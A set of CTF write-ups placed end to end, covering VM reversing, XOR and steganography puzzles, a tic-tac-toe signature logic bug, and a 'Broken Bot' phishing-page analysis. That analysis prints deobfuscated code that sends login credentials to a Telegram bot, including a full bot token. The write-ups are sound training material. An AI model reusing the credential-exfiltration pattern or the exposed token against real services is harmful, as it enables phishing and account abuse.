In a similar way, function `if_else_56570850` simulates an if/else condition: Based onthe return value of execution of the first child, either the second or the third child isexecuted:```Assembly.text:56570850 if_else_56570850 proc near ; CODE XREF: .text:56570841↑j.text:56570850 ; DATA XREF: too_big_565554A0+9DF4↑o.text:56570850 ; __unwind {.text:56570850 push ebx.text:56570851 sub esp, 10h.text:56570854 mov ebx, [esp+14h+arg_0].text:56570858 mov eax, [ebx+10h].text:5657085B mov eax, [eax].text:5657085D push 0.text:5657085F push eax.text:56570860 call dword ptr [eax+8] ; visit 1st child.text:56570863 add esp, 10h.text:56570866 test eax, eax ; check child's return value.text:56570868 mov eax, [ebx+10h].text:5657086B jnz short IF_56570888 ; move on 2nd child.text:5657086D mov eax, [eax+8] ; move on 3rd child.text:56570870.text:56570870 ELSE_56570870: ; CODE XREF: if_else_56570850+3B↓j.text:56570870 sub esp, 8.text:56570873 push 0.text:56570875 push eax.text:56570876 call dword ptr [eax+8] ; invoke that child.text:56570879 add esp, 10h.text:5657087C add esp, 8.text:5657087F pop ebx.text:56570880 retn.text:56570888.text:56570888 IF_56570888: ; CODE XREF: if_else_56570850+1B↑j.text:56570888 mov eax, [eax+4] ; move on 2nd child.text:5657088B jmp short ELSE_56570870.text:5657088B ; } // starts at 56570850.text:5657088B if_else_56570850 endp ; sp-analysis failed.text:5657088B
Another interesting node function is `make_call_56570570`, where it performs a functioncall. The first child determines the function to invoke and the remaining children thearguments being passed to that function: ```Assembly.text:56570570 make_call_56570570 proc near ; DATA XREF: too_big_565554A0+65AB↑o.text:56570570 ; too_big_565554A0+A3EB↑o ....text:56570570 ; __unwind {.text:56570570 push ebp.text:56570571 push edi.text:56570572 push esi.text:56570573 push ebx.text:56570574 call load_eip_56570270.text:56570579 add ebx, (offset got_entry_56572FC8 - $).text:5657057F sub esp, 14h.text:56570582 mov edi, [esp+24h+arg_0].text:56570586 mov eax, [edi+0Ch] ; eax = #children.text:56570589 lea esi, [eax-1].text:5657058C mov eax, [edi+10h].text:5657058F mov eax, [eax] ; eax = 1st child.text:56570591 push 0.text:56570593 push eax.text:56570594 call dword ptr [eax+8].text:56570597 add esp, 10h.text:5657059A cmp esi, 1 ; esi == number of children - 1.text:5657059D mov ebp, eax ; visit 1st child to determine function to call.text:5657059F jz ESI_IS_1_56570650.text:565705A5 jb NO_MORE_CHILDREN_56570640 ; call func().text:565705AB cmp esi, 2.text:565705AE jz short ESI_IS_2_56570600.text:565705B0 cmp esi, 3.text:565705B3 jnz short EXIT_56570630.text:565705B5 mov eax, [edi+10h] ; esi == 3.text:565705B8 sub esp, 8.text:565705BB mov eax, [eax+0Ch] ; visit 4th child.text:565705BE push 0.text:565705C0 push eax.text:565705C1 call dword ptr [eax+8].text:565705C4 mov ebx, eax.text:565705C6 mov eax, [edi+10h].text:565705C9 pop edx.text:565705CA pop ecx.text:565705CB mov eax, [eax+8] ; visit 3rd child.text:565705CE push 0.text:565705D0 push eax.text:565705D1 call dword ptr [eax+8].text:565705D4 mov esi, eax.text:565705D6 mov eax, [edi+10h].text:565705D9 pop edi.text:565705DA pop edx.text:565705DB mov eax, [eax+4] ; visit 2nd child.text:565705DE push 0.text:565705E0 push eax.text:565705E1 call dword ptr [eax+8].text:565705E4 add esp, 0Ch.text:565705E7 push ebx.text:565705E8 push esi.text:565705E9 push eax.text:565705EA call ebp ; call func(rv1, rv2, rv3).text:565705EC add esp, 10h.text:565705EF add esp, 0Ch.text:565705F2 pop ebx.text:565705F3 pop esi.text:565705F4 pop edi.text:565705F5 pop ebp.text:565705F6 retn.text:565705F6 ; ---------------------------------------------------------------------------.text:56570600.text:56570600 ESI_IS_2_56570600: ; CODE XREF: make_call_56570570+3E↑j.....text:56570623 call ebp ; call func(rv1, rv2).....text:56570640 NO_MORE_CHILDREN_56570640: ; CODE XREF: make_call_56570570+35↑j.text:56570640 call eax ; call func().....text:56570650 ESI_IS_1_56570650: ; CODE XREF: make_call_56570570+2F↑j.text:56570662 call ebp ; call func(rv1).text:5657066E ; } // starts at 56570570```
Finally, function `emu_insn_56570670` emulates an operator:```Assembly.text:56570670 emu_insn_56570670 proc near ; DATA XREF: too_big_565554A0+5C34↑o.text:56570670 ; too_big_565554A0+7338↑o ....text:56570670 ; __unwind {.text:56570670 push edi.text:56570671 push esi.text:56570672 push ebx.text:56570673 mov esi, [esp+0Ch+arg_0].text:56570677 call load_eip_56570270.text:5657067C add ebx, (offset got_entry_56572FC8 - $).text:56570682 sub esp, 8.text:56570685 mov eax, [esi+10h].text:56570688 mov eax, [eax] ; visit 1st child.text:5657068A push 0.text:5657068C push eax.text:5657068D call dword ptr [eax+8].text:56570690 mov edi, eax ; edi = return value from 1st child.text:56570692 mov eax, [esi+10h].text:56570695 pop edx.text:56570696 pop ecx.text:56570697 mov eax, [eax+4] ; visit 2nd child.text:5657069A push 0.text:5657069C push eax.text:5657069D call dword ptr [eax+8].text:565706A0 add esp, 10h ; eax = return value from 2ndchild.text:565706A3 cmp dword ptr [esi], 9 ; switch 10 cases.text:565706A6 ja EXIT_565706B5 ; jumptable 565706B5 default case.text:565706AC mov edx, [esi].text:565706AE add ebx, ds:(jpt_565706B5 - 56572FC8h)[ebx+edx*4].text:565706B5 jmp ebx ; switch jump.text:565706B5 ; ---------------------------------------------------------------------------.text:565706B7 align 10h.text:565706C0.text:565706C0 LESS_THAN_565706C0: ; CODE XREF: emu_insn_56570670+45↑j....text:565706C8 RETURN_565706C8: ; CODE XREF: emu_insn_56570670+64↓j....text:565706D0 STORE_565706D0: ; CODE XREF: emu_insn_56570670+45↑j....text:565706E0 EQUAL_565706E0: ; CODE XREF: emu_insn_56570670+45↑j....text:565706F0 LEFT_SHIFT_565706F0: ; CODE XREF: emu_insn_56570670+45↑j....text:56570700 RIGHT_SHIFT_56570700: ; CODE XREF: emu_insn_56570670+45↑j....text:56570710 XOR_56570710: ; CODE XREF: emu_insn_56570670+45↑j....text:56570718 ADD_56570718: ; CODE XREF: emu_insn_56570670+45↑j....text:56570720 SUB_56570720: ; CODE XREF: emu_insn_56570670+45↑j....text:56570730 MUL_56570730: ; CODE XREF: emu_insn_56570670+45↑j....text:56570738 LOGIC_AND_56570738: ; CODE XREF: emu_insn_56570670+45↑j.text:56570738 ; DATA XREF: .rodata:jpt_565706B5↓o.text:56570738 test edi, edi ; jumptable 565706B5 case 7.text:5657073A setnz dl.text:5657073D test eax, eax.text:5657073F setnz al.text:56570742 movzx eax, al.text:56570745 and eax, edx.text:56570747 jmp RETURN_565706C8.text:56570750.text:56570750 EXIT_565706B5: ; CODE XREF: emu_insn_56570670+36↑j.text:56570750 sub esp, 0Ch ; jumptable 565706B5 default case.text:56570753 push 0 ; status.text:56570755 call _exit.text:56570755 ; } // starts at 56570670```
Program supports **10** different operators: `==`, `<<`, `>>`, `^`, `+`, `-`, `*`, `&&`, `<`, `=`.
Once we have that, we can visualize the happy tree (I did not include edges to existingnodes otherwise the tree becomes a spaghetti graph):
### Dumping the emulated code
To dump emulated program we use recursion: At each step, we generate the emulated code for the wholesubtree underneath each child and based on the current node (if it's a loop or a mov) we constructa bigger code snippet. At the end we can recover the whole emulated program.
To keep things simple we use many `temp` variables to assign the results of previous nodes.
The IDA python script [happy_tree_disasm.py](./happy_tree_disasm.py) disassembles the codefrom the tree.
Below is code snippet from the emulated program (the full dissassembly listing is shown at[happy_tree_disassembled.asm](./happy_tree_disassembled.asm):```cbuf_#3_80 = malloc(80)call memset(buf_#3_80, 0, 80)call puts("Ah?")call scanf("%36s", buf_#3_80)buf_#6_4 = malloc(4)buf_#7_4 = malloc(4)*buf_#7_4 = *(int*)(int)buf_#3_80[0] *buf_#6_4 = 0t_16 = *(int*)buf_#6_4 < 100000
while (t_16) { t_1 = *(int*)buf_#7_4 << 13 t_2 = *(int*)buf_#7_4 ^ t_1 t_3 = *(int*)buf_#7_4 << 13 t_4 = *(int*)buf_#7_4 ^ t_3 t_5 = t_4 >> 17 t_6 = t_2 ^ t_5 t_7 = *(int*)buf_#7_4 << 13 t_8 = *(int*)buf_#7_4 ^ t_7 t_9 = *(int*)buf_#7_4 << 13 t_10 = *(int*)buf_#7_4 ^ t_9 t_11 = t_10 >> 17 t_12 = t_8 ^ t_11 t_13 = t_12 << 5 t_14 = t_6 ^ t_13 *buf_#7_4 = t_14 t_15 = *(int*)buf_#6_4 + 1 *buf_#6_4 = t_15 t_16 = *(int*)buf_#6_4 < 100000}
t_17 = 1 * 2t_18 = t_17 * 2t_19 = t_18 * 2t_20 = t_19 * 5/* more constant assignments */t_47 = t_46 + 1t_48 = t_47 * 2t_49 = *(int*)buf_#7_4 == t_48
buf_#6_4 = malloc(4)buf_#7_4 = malloc(4)t_50 = 1 * 2t_51 = t_50 * 3t_53 = t_52 * 2/* more constant assignments */t_83 = t_82 * 5t_84 = *(int*)(int)buf_#3_80[1] ^ t_83
/* repeat the same while loop */
t_572 = *(int*)buf_#7_4 == t_571t_573 = t_527 && t_572if (t_573) { call puts("Wow!") return 0} else { call puts("Ow!") return 0}```
### Cracking the code
From the above code we can understand how the flag is being checked. We have 9 rounds.On each round, the next **4** characters from the flag are processed. A while loopencrypts these characters and they are checked agains a constant that is being generatedprogressively. If the there is a match we move on. If not we still move on but the endcondition will be false (that way side channel attacks are prevented).
We can also infer this execution flow if we look at the layout of the tree.
We know the end constants (or at least we can calculate them), so the goal is tomove backwards and recover the flag, 4 bytes at a time.
The encryption on each loop is shown below:```Python buf_1 = flag[i:i+4] for i in range(100000): a = (buf_1 ^ (buf_1 << 13)) b = a ^ (a >> 17) buf_1 = b ^ (b << 5)
return buf_1 ```
We can reverse this into 3 stages: First we recover `b` then `a` and then `buf_i` of theprevious round. All inversions follow the same principle: We know that `buf_1 = b ^ (b << 5)`.That is, a value is shifted and XORed with itself. So, the 2nd number has `0s` in its **5**LSBits. Therefore we can recover the **5** LSBits of `b` just by XORing this number with `buf_i`.
If we know the last **5** LSBits of `b`, means that **we know the last 10 LSBits of b << 5**.Hence, we can use these **10** bits to XOR them with `buf_1` and recover the **10** LSBits of `b`.This process continues, recovering **5** bits of `b` at a time until we crack the whole number.
We work similarly to recover `a` and `buf_i-1` and then we advance to the previous round untilwe hit 0 and recover the original DWORD. The reversed algorithm is shown below:```Pythondef crack_dword(buf_i): for i in range(100000): # Recover b chunk = buf_i & 0x1F b = chunk for pos in range(5, 31, 5): chunk = ((buf_i ^ (chunk << pos)) >> pos) & 0x1F b |= chunk << pos
b &= 0xFFFFFFFF
# Recover a a = b ^ (b >> 17)
# Recover buf_i-1 chunk = a & 0x1FFF buf_i = chunk for pos in range(13, 31, 13): chunk = ((a ^ (chunk << pos)) >> pos) & 0x1FFF buf_i |= chunk << pos
buf_i &= 0xFFFFFFFF
return buf_i```
By doing this for each DWORD, we can recover the flag: `flag{HEY!Lumpy!!W@tcH_0ut_My_TrEe!!}`
For more details please take a look at the [happy_tree_crack.py](./happy_tree_crack.py)
___
|
1. Use binwalk to check the information for attached files.2. Inside we find a .zip file.3. Open it and find a .wav file as its contents.4. Using Sonic Visualizer we build a spectrogram.
Flag: VishwaCTF{n0w_y0u_533_m3}. |
In this chall, we hace a python file and an ecrypted flag:
This is the python file:```from secrets import token_bytesfrom itertools import cycle
FLAG = open("TempoFlag.txt", "rb").read().split(b'\n')
wee = token_bytes(8)print(wee)cipher = ''
for secret in FLAG: enc = bytes([ a ^ b for a,b in zip(secret, cycle(wee)) ]) print(list(zip(secret, cycle(wee)))) cipher += enc.hex() + '\n' print(secret) print(cipher)
```
And those are the different encrypted values we have
```b75332cf82004fa6c349388a94451bb0824735cf97004fbdc34d299cc0064cbbac4a38cf9a0c49bacf043281854954bb86087d9b880c42f5825638cf930154a28db74b3a8a94015ea7c350358a994958ba8e46348185451ba28a5035cf8149639ab1a204338a97494db48f5138cf891a1bb38c56308a84451bbb8652389dc0081bb78c5638c1a177109a8d0b5abc98536d98bf584f8ad25702dbbf0f57e1847b6c81bf1d53e6bc17338b9d```
We can see it's only a xor cipher with 8 random bytes
We can break the strings one by one on dcode
https://www.dcode.fr/xor-cipher
We will obtain a list of possibles keys, we see dcode is strugling for the last string and is not giving something pertinent, it's probably the flag.
e3285deff1653bd5
e3245deffc6927d5
e3225befe0693bce
e3245defe0693bd2
We could aso recover the start of the key by xoring BSM with the last string to optain the first 3 bytes, because most of the flags seems by starting with this string, we obtain:
e3245d
It correspond to what we just found
Now we are going to take the most common bytes in the four key we found :
e3245defe0693bd5
We test it on one of the four fist encrypted strings, it's seems valid
Now we try on the last chain, and we obtain:
BSMumbai{w0w_1t_1s_4_fl4g_1n_th3_3nd} |
1. Download Click me! to convert .exe file to a .pyc2. Run “python3 pyinstxtractor.py examine.exe”. You will get examine.exe_extracted which contains examine.pyc3. Download Click me! to decompile .pyc into the python source code4. Run “pycdc exaimine.pyc”. The output will be source file in python5. Run the code in the end which is decoding string “5669736877614354467b31355f70797468306e5f7468335f623335745f6c346e67753467333f3f7d” into the final flagFlag: VishwaCTF{15_pyth0n_th3_b35t_l4ngu4g3??} |
1. We are given 4 files: "10kg Down and Up" and "20kg Down and Up" respectively. We can open these couples via SonicVisualiser.2. Next step is to impose a Layer. Layer->Add Spectogram.We must notice that the symbols are like letters.Connecting in each pair the lower and upper symbols in each pair, we get Gosqrd Romnz. 3. Just decode this in the variations of the rotations cipher..Gosqrd in rot16-> WeightRomnz in rot20-> LightLight Weight is a popular phrase of Ronnie Coleman.(From the conditions of the assignment it becomes clear).
Flag: VishwaCTF{Light_Weight}. |
1. Unpack the archive. We get 200 more encrypted archives.2. Try to decrypt other archives with the VishwaCTF password. Some of them open.3. In the first archive we find two pictures. It is not difficult to guess that we should either add or subtract them.4. Using cv2.subtract we successfully get a picture with some text, which also contains the password of the next picture.5. We write a script to recognize text in the image. Unfortunately, it didn't work perfectly, so I had to write some passwords manually.6. In this way almost all the archives were decrypted. However, there were some difficulties, e.g. lack of 44 archives. And some passwords did not fit. However, as I understand the task was corrected, so, returning to it a little later, I managed to decrypt almost everything.7. The archives with the numbers immediately seemed mysterious, especially when their number increased after 100 archives. These numbers were not the passwords to the following archives.8. The hint of ASCII in some of the passwords helped. The number on the picture is the sequence number of the character, corresponding to the archive number in the ASCII table.9. Restoring the flag.
Flag: VishwaCTF{visualcrypnotjOke}. |
# Rick Roll
- 53 Points / 343 Solves
## Background
I mean, do I need to say more?
[https://rickroll-web.challenges.ctf.ritsec.club/](https://rickroll-web.challenges.ctf.ritsec.club/)
NOTE: You will need to combine 5 parts of the flag together
NOTE: Each part of the flag is used only once

## Find the flag
**Home page:**


When we go to `/`, it'll redirect us to `/1.html`.
**Let's view the source page:**```html[...]<link rel="stylesheet" href="2.css">[...]Don't Sign In[...]
```
Nice rickroll.
And we found the first part of the flag!
- `_TuRna30unD_`
We can also see that in `/1.html` there's a CSS is loaded via `<link>` element: **`2.css`**
```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023)-[2023.04.01|13:53:12(HKT)]└> curl https://rickroll-web.challenges.ctf.ritsec.club/2.css[...]Hey there you CTF solver, Good job on finding the actual challenge, so the task here is to find flags to complete the first half of the chorus of this song, and youwill find the flags around this entire web network in this format,/*[FLAG_PIECE]*/ Heres a piece to get started /*[RS{/\/eveRG0nna_]*/ find the next four parts of the famous chorus[...].input button{ [...] background-color: [_|3tY0|_|d0vvn] var(--primary-color); [...]}[...]```
We found 2 more parts!
- `RS{/\/eveRG0nna_`- `_|3tY0|_|d0vvn`
**Then, in `1.html`, we also see that there's a "Don't Sign In" link:**

**Again, view source page:**```html[...]<link rel="stylesheet" href="1.css">[...]
```
Found the fourth one!
- `_D3s3RTy0u}`
**Next, we also see there's a `1.css` CSS file:**```css[...].btn{ [...] border: /*[G1v3y0uuP]*/ none; [...]}[...].input button{ [...] text-align: /*[_|3tY0|_|d0vvn_]*/center; [...]}```
Found the last part of the flag!
- `G1v3y0uuP`
**Hence, the full flag will be:**
- **Flag: `RS{/\/eveRG0nna_G1v3y0uuP_|3tY0|_|d0vvn_TuRna30unD__D3s3RTy0u}`**
## Conclusion
What we've learned:
1. Inspecting Source Pages |
# tcl-tac-toe
## Background
> Author: BobbySinclusto
Time to tackle tcl-tac-toe: the tricky trek towards top-tier triumph
[http://tcl-tac-toe.chals.damctf.xyz/](http://tcl-tac-toe.chals.damctf.xyz/)
[http://161.35.58.232/](http://161.35.58.232/)

## Enumeration
**Home page:**

In here, we can play the Tic-Tac-Toe game:

**When we click one of those cells, it'll send the following POST request:**

**Now, let's view the [source code](https://github.com/siunam321/CTF-Writeups/blob/main/DamCTF-2023/web/tcl-tac-toe/tcl-tac-toe.zip)!**```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/web/tcl-tac-toe)-[2023.04.08|11:37:13(HKT)]└> file tcl-tac-toe.zip tcl-tac-toe.zip: Zip archive data, at least v1.0 to extract, compression method=store┌[siunam♥earth]-(~/ctf/DamCTF-2023/web/tcl-tac-toe)-[2023.04.08|11:37:14(HKT)]└> unzip tcl-tac-toe.zip Archive: tcl-tac-toe.zip creating: tcl-tac-toe/ inflating: tcl-tac-toe/Dockerfile creating: tcl-tac-toe/app/ inflating: tcl-tac-toe/app/app.tcl creating: tcl-tac-toe/app/static/ inflating: tcl-tac-toe/app/static/index.css inflating: tcl-tac-toe/app/static/index.html inflating: tcl-tac-toe/app/static/index.js```
**In `/Dockerfile`, we see this:**```bashRUN wget https://wapp.tcl-lang.org/home/zip/wapp.zip --no-check-certificate && unzip wapp.zip -d /usr/lib && echo pkg_mkIndex /usr/lib/wapp | tclsh```
As you can see, it's using a web application framework called "Wapp", which is a framework for writing web applications in Tcl. Tool Command Language (Tcl) is a powerful scripting language with programming features. It is available across Unix, Windows and Mac OS platforms. Tcl is used for **Web and desktop applications, networking, administration, testing, rapid prototyping, scripted applications and graphical user interfaces (GUI)**.
**In `/app/app.tcl`, we see the main application.**
First off, let's find where the flag is.
**In procedure (function) `wapp-page-update_board{}`, we can see how the flag is being read:**```tcl[...]proc wapp-page-update_board {} { # allow cross-origin requests because otherwise the ssl reverse proxy thing breaks wapp-allow-xorigin-params # get prev_board, new_board, signature set prev_board [wapp-param prev_board] set new_board [wapp-param new_board] set signature [wapp-param signature]
# verify previous board signature if [verify $prev_board $signature] { # verify move if [valid_move $prev_board $new_board] { set message {} set winner [check_win $new_board] if {$winner == "tie"} { set message "Cat's game!" } elseif {$winner == "X"} { set flag [get_file_contents "../flag"] set message "Impossible! You won against the unbeatable AI! $flag" } elseif {$winner == "O"} { set message "Haha I win!" } else { set new_board [computer_make_move $new_board] # Check if computer won or it tied the game set winner [check_win $new_board] if {$winner == "O"} { set message "Haha I win!" } elseif {$winner == "tie"} { set message "Cat's game!" } } # compute signature of new board set signature [sign $new_board] # send the new board, signature, and message wapp "$new_board,$signature,$message" } else { wapp "$prev_board,$signature,Invalid move!" } } else { wapp "$prev_board,$signature,No hacking allowed!" }}[...]```
**Flag flow:**
> If the previous board signature is verified > If the move is verified > If the winner is ourself (`X`), read the flag and display it That being said, we need to **win the game** in order to get the flag!
Now, when we send a POST request to `/update_board`, it'll send 3 parameters: `prev_board`, `new_board`, `signature`.
Then, it'll first verify previous board signature. Let's look at that procedure!
**Procedure `verify {}`, `sign {}`, `wapp-page-index.js {}`:**```tcl[...]proc sign {msg} { return [exec << $msg openssl dgst -sha256 -sign key.pem -hex -r | cut -d { } -f1]}
proc verify {msg signature} { return [expr {[sign $msg] == $signature}]}[...]proc wapp-page-index.js {} { wapp-mimetype text/javascript # Start with an empty board wapp "var gameBoard = \['', '', '', '', '', '', '', '', ''\];\nvar signature = \"[sign {- - - - - - - - -}]\";\n" wapp [get_file_contents "static/index.js"]}[...]```
The `expr` will evaluate the output of procedure `sign {}` is equal to the correct `$signature`, and the correct signature is in `/index.js`. Also, the signature is generated via `openssl`, and digested via SHA256.
Hmm... It seems like we can't bypass that?
Let's see what if the previous board signature is verified.
**Next, it'll verify our move:**```tclif [valid_move $prev_board $new_board]```
```tcl[...]proc valid_move {old_board new_board} { # Make sure only one spot was updated and that the spot that was updated was valid set diff_count 0 for {set i 0} {$i < 9} {incr i} { if {[lindex $old_board $i] != [lindex $new_board $i]} { incr diff_count # Make sure space is not already occupied if {[lindex $old_board $i] == {X} || [lindex $old_board $i] == {O}} { return 0 } } } return [expr {$diff_count == 1}]}[...]```
This procedure will check there's only one spot was updated and it's occupied or not.
Then, what if both previous board signature and move is valided?
```tclset winner [check_win $new_board]```
**It'll run procedure `check_win $new_board`:**```tcl[...]proc check_win {board} { set win \{\{1 2 3} {4 5 6} {7 8 9} {1 4 7} {2 5 8} {3 6 9} {1 5 9} {3 5 7\}\} foreach combo $win { foreach player {X O} { set count 0 set index [lindex combo 0] foreach cell $combo { if {[lindex $board [expr {$cell - 1}]] != $player} { break } incr count } if {$count == 3} { return $player } } } # check if it's a tie if {[string first {-} $board] == -1} { return {tie} } return {-}}[...]```
**What this procedure does is to check the following pattern has 3 `X` or `O`:**```tcl{1 2 3}{4 5 6}{7 8 9}{1 4 7}{2 5 8}{3 6 9}{1 5 9}{3 5 7}```
If it does, return the winner (`X` or `O`).
Let's move on!
**If there's NO winner:**```tcl [...] } else { set new_board [computer_make_move $new_board] # Check if computer won or it tied the game set winner [check_win $new_board] if {$winner == "O"} { set message "Haha I win!" } elseif {$winner == "tie"} { set message "Cat's game!" } } [...]```
**Run procedure `computer_make_move $new_board`:**```tcl[...]proc computer_make_move {board} { set win \{\{1 2 3} {4 5 6} {7 8 9} {1 4 7} {2 5 8} {3 6 9} {1 5 9} {3 5 7\}\} # check if computer can win foreach combo $win { set count 0 set index [lindex combo 0] foreach cell $combo { if {[lindex $board [expr {$cell - 1}]] eq {O}} { incr count } else { set index [expr $cell - 1] } } if {$count == 2} { if {[lindex $board $index] == {-}} { lset board $index {O} return $board } } } # check if human can win, block them if they can set played 0 foreach combo $win { set count 0 set index [lindex combo 0] foreach cell $combo { if {[lindex $board [expr {$cell - 1}]] eq {X}} { incr count } else { set index [expr $cell - 1] } } if {$count == 2 && [lindex $board $index] == {-}} { lset board $index {O} set played 1 } } if {$played == 1} { return $board } # choose something to play if neither condition holds for {set i 0} {$i < 9} {incr i} { if {[lindex $board $i] == {-}} { lset board $i {O} return $board } }}[...]```
It'll check the computer and human can win. If human can win, try to block them.
After that, it'll check the winner again via procedure `check_win $new_board`.
**Finally, compute signature of new board:**```tcl# compute signature of new boardset signature [sign $new_board]# send the new board, signature, and messagewapp "$new_board,$signature,$message"```
Armed with above information, we can try to exploit it to win the game!
## Exploitation
In the above source code analysis, we can control `prev_board`, `new_board`, `signature` in `/update_board` POST request.
Hmm... I wonder if we can forge our own signature...
However, I tried that, no dice.
Let's play with it!
***Now, what if I'm the AI (`O`)?***

Umm... It doesn't check I'm the AI!
Then I decided to ***let the AI win***:

> Note: You'll need to replace the `signature` with the `new_board` signature, `prev_board` replace to new one, and add a new move in `new_board`.
Arghh... Can I still play the game ***AFTER it's lost/tied***?

I can!
***Let's try to win the game while it's already lost:***

Boom! We beat the game!!
I guess the reason why we beat that is the `check_win` procedure checks the following pattern ***in order***:
```tcl{1 2 3}{4 5 6}{7 8 9}{1 4 7}{2 5 8}{3 6 9}{1 5 9}{3 5 7}```
So I guess we won the check!
- **Flag: `dam{7RY1N9_Tcl?_71m3_70_74k3_7W0_7YL3n01_748L37s}`**
## Conclusion
What we've learned:
1. Exploiting Logic Bug |
1. Execute both files.2. HauntedImage.exe no result, HauntedCursor.exe creates a "result.jpg" file. But this is not a real picture.3. Open the HauntedCursor.exe in IDA.4. See that there is a check if any parameter is passed to the executable.5. Pass the "result.jpg" as a parameter.6. Get the new file, but this file is a valid PNG.7. Open that new picture.8. See the URL Click me!. 9. Download the file.10. If I change the cursor to the downloaded one and run HauntedCursor.exe, nothing changes.11. Open HauntedCursor.exe in IDA.12. See that it is required to start MSPaint.13. Start MSPaint.14. Execute HauntedCursor.exe again.15. See the inscription that to continue it is required to press Enter.16. Press Enter.17. Now the program says that "Use the ouija board".18. Let's try to pass the downloaded cursor to HauntedImage.exe.19. As a result we get the image of that mysterious board.20. Continue to explore the HauntedCursor.exe file.21. Find the function _Z15checkSecondStepi it contains another function named _Z11movePointeri.22. That _Z11movePointeri function contains the validation of color of pixels (0, 0), (0, 1) and that we passed number 645 as a parameter.23. Also that function contains the block of moving cursor by the coordinates.24. We can either change the color of the provided pixels and pass the number 645 as a parameter to the program, or manually get the results of the coordinates, open our image of the mystery board in Paint and following the coordinates get the required letters.
Flag: VishwaCTF{p0lt3rg3i5tp0int3r}. |
1. Get to analyze the task’s description.2. Download the file and take a look at a chessboard with highlighted places on it.3. We can see that the white pieces are at the top of the board and move first.4. We understand that the highlighted places are the base mate in chess, reproduce (see the screenshot) https://ibb.co/FqrZtBn
Flag: VishwaCTF{f3_e6_g4_Qh4#} |
1. Read the Python code.2. See parts of key in variables key_part*.3. Find the function check_key().4. See that length of entered key should be the same to key_full_template_trial, which consists of variables key_part*.5. Make a dummy key "VishwaCTF{m4k3_it_possibl3_xxxxxxxx}".6. In check_key() function in "else" block see the verification of the entered key:"if key[i] != hashlib.sha256(username_trial).hexdigest()[4]:"7. Insert "print" in every "if" block to see what is expected:print(f"invalid 4, {key[i]} {hashlib.sha256(username_trial).hexdigest()[4]}")Here we will get the fourth "x" in our dummy key.8. After each "if" change the appropriate "x" to the expected symbol.
Flag: VishwaCTF{m4k3_it_possibl3_b7cdc517}. |
## Brief
**Broken Bot** is a web-based CTF challenge that tests your JavaScript deobfuscation and malware analysis skills. Your task is to investigate a compromised Cloud Storage Portal, decode obfuscated JavaScript code, and perform API queries to extract sensitive information. By detecting a misconfiguration, you can find the flag and demonstrate your cybersecurity expertise.
**Expertise:**
* Basic knowledge of JavaScript* Familiarity with JavaScript obfuscation techniques* Understanding of how malware can be concealed in JavaScript code* Ability to identify and analyze malicious code* Proficiency in using browser development tools for web debugging and analysis.
**Acquired Knowledge:**
* JavaScript deobfuscation* Malware analysis* API query and analysis* Misconfiguration detection
## Enumeration
To start the challenge, we need to access the provided Cloud Storage Portal. This can be done by spawning the Docker container and accessing the IP address assigned to it. Upon accessing the IP, we will be directed to the login page for the Cloud Storage Portal.

After accessing the login page for the Cloud Storage Portal, we need to view the JavaScript code running in the index.html page. However, before doing so, we may want to try logging in with a random password to see what happens. When attempting to log in with an incorrect password, I was redirected to another site, containing voicemail. This indicates that the login was not successful, but it also gives us a hint that something unexpected is happening in the background. With this in mind, we can proceed to view the JavaScript code running in the index.html page to identify any potential issues.
## Exploitation
To view the JavaScript code running in the index.html page, open the browser's developer tools, go to the "Sources" tab, and locate the index.html file - or simply view source.

To deobfuscate the JavaScript code in the index.html file, we can use a variety of techniques such as manual analysis or automated tools. Once the code is deobfuscated, we should be able to identify the API call being made. This API call may include information such as the URL, the method, and any headers or parameters being sent with the request.
```var AC = ["val", "12ZidQyC", "20AFlrCY", "Email: ", "63792quNVYn", "substring", "append", "Region : ", "slice", "body", "139437pXYFEK", "#UserEmail", "toUpperCase", "click", "Useragent : ", "href", "88GpIPQU", "904cdojGd", "#submit", "#dname", '', "4716964xBODFJ", "3724320KAqSuZ", "5852841790", "Date Filled : ", "#inputPassword", "380874lxWkrT", "1170928pBbGzs", "https://api.telegram.org/bot", "head", "6055124896:AAFyQlC_8dr1GndB26ji4iV2ol2bPPQ9lq4"];```
Interesting. Once we have identified the API call being made in the JavaScript code, we can proceed to perform queries against the Telegram Bot's API using the provided key.

If the privacy settings of the Telegram Bot are disabled, all users can read messages via the getUpdates call. This means that any user can send an HTTP GET request to the appropriate API endpoint (likely `https://api.telegram.org/bot<API_KEY>/getUpdates`) and receive a response containing all of the recent messages sent to the Telegram Bot. [More here.](https://core.telegram.org/bots/api#getupdates)

By examining the code for the getUpdates API call, we can identify the flag **Flag{Always_Check_For_Misconfigurations}** that is likely to be sent as a message to the Telegram Bot. |
# de-compressed
## Background
> Author: Perchik
As an elite cyber security expert, you've been tasked with uncovering the secrets hidden within a message intercepted from a notorious spy.
We suspect there may be more to this message than meets the eye. Can you use your skills in steganography to uncover whatever else might be hiding?
The fate of national security is in your hands.

## Find the flag
**In this challenge, we can download a [file](https://github.com/siunam321/CTF-Writeups/blob/main/DamCTF-2023/misc/de-compressed/message.zip):**```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/misc/de-compressed)-[2023.04.08|19:39:02(HKT)]└> file message.zip message.zip: Zip archive data, at least v2.0 to extract, compression method=deflate┌[siunam♥earth]-(~/ctf/DamCTF-2023/misc/de-compressed)-[2023.04.08|19:39:04(HKT)]└> unzip message.zip Archive: message.zip inflating: README.txt```
**After decompressed, it inflated a `README.txt` file:**```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/misc/de-compressed)-[2023.04.08|19:39:06(HKT)]└> cat README.txt Dear Sylvia,
I wanted to let you know that I have decided to resign from the team, effective immediately. I have been offered a better opportunity elsewhere and I believe it is in my best interest to pursue it.
Please do not be concerned about the success of the mission. I have confidence in the remaining members of the team, and I am sure they will be able to complete it without any problems.
I apologize for any inconvenience my departure may cause, and I hope you will understand my decision.
Sincerely,
Twilight ```
Hmm... Seems nothing?
In the challenge's description, it said: "use your skills in steganography to uncover whatever else might be hiding".
**Let's use `strings` to list out all the strings inside the ZIP file:**```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/misc/de-compressed)-[2023.04.08|19:39:08(HKT)]└> strings message.zip [jVn6bREADME.txt=46X6i(MT>P|9csecret.txt<q9K ^o4U#q@}Zpdlt[jVn6bREADME.txtPK```
Hmm?? `secret.txt`?
